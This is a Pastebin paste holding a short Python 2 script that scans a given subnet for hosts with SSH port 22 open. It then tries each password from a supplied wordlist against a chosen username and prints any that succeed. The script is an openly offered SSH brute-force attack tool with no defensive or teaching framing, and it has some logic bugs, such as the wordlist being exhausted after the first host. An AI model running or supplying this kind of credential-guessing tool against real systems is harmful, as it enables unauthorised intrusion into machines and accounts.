Advertisement
Guest User

Untitled

a guest
Apr 29th, 2016
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.79 KB | None | 0 0
  1. #!/usr/bin/python
  2. import sys
  3. from netaddr import *
  4. import socket
  5. from paramiko import SSHClient,AutoAddPolicy
  6. argv = sys.argv
  7. argc = len(argv)
  8. if 3 > argc:
  9. print "usage:%s <ipaddress/subnetmask> <user> <dictionary>" %(argv[0])
  10. exit()
  11. ipv4 = IPNetwork(argv[1])
  12. sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  13. sock.settimeout(3)
  14. ssh = SSHClient()
  15. ssh.set_missing_host_key_policy(AutoAddPolicy())
  16. f = open(argv[3],"rb")
  17. for i in range(len(ipv4)):
  18. try:
  19. sock.connect((str(ipv4[i]),22))
  20. sock.close()
  21. for line in f.readlines():
  22. try:
  23. ssh.connect(str(ipv4[i]),22,username=argv[2],password=line.strip('\n'))
  24. print ipv4[i],"pass:"+line.strip('\n')
  25. except:
  26. pass
  27. except socket.error:
  28. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement